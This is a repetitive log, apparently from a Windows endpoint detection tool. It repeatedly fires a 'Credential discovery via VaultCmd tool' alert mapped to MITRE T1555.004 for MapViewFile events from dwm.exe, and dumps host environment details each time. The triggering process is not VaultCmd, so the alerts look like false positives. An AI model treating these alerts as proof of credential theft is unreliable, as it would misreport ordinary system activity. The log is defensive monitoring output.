SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4226191 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.1515317 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4226538 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.3514274 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4227011 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.4464731 +0100 CET + Params: file_key➜ ffffa88aef2fe190, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132710000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4227031 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.452653 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM 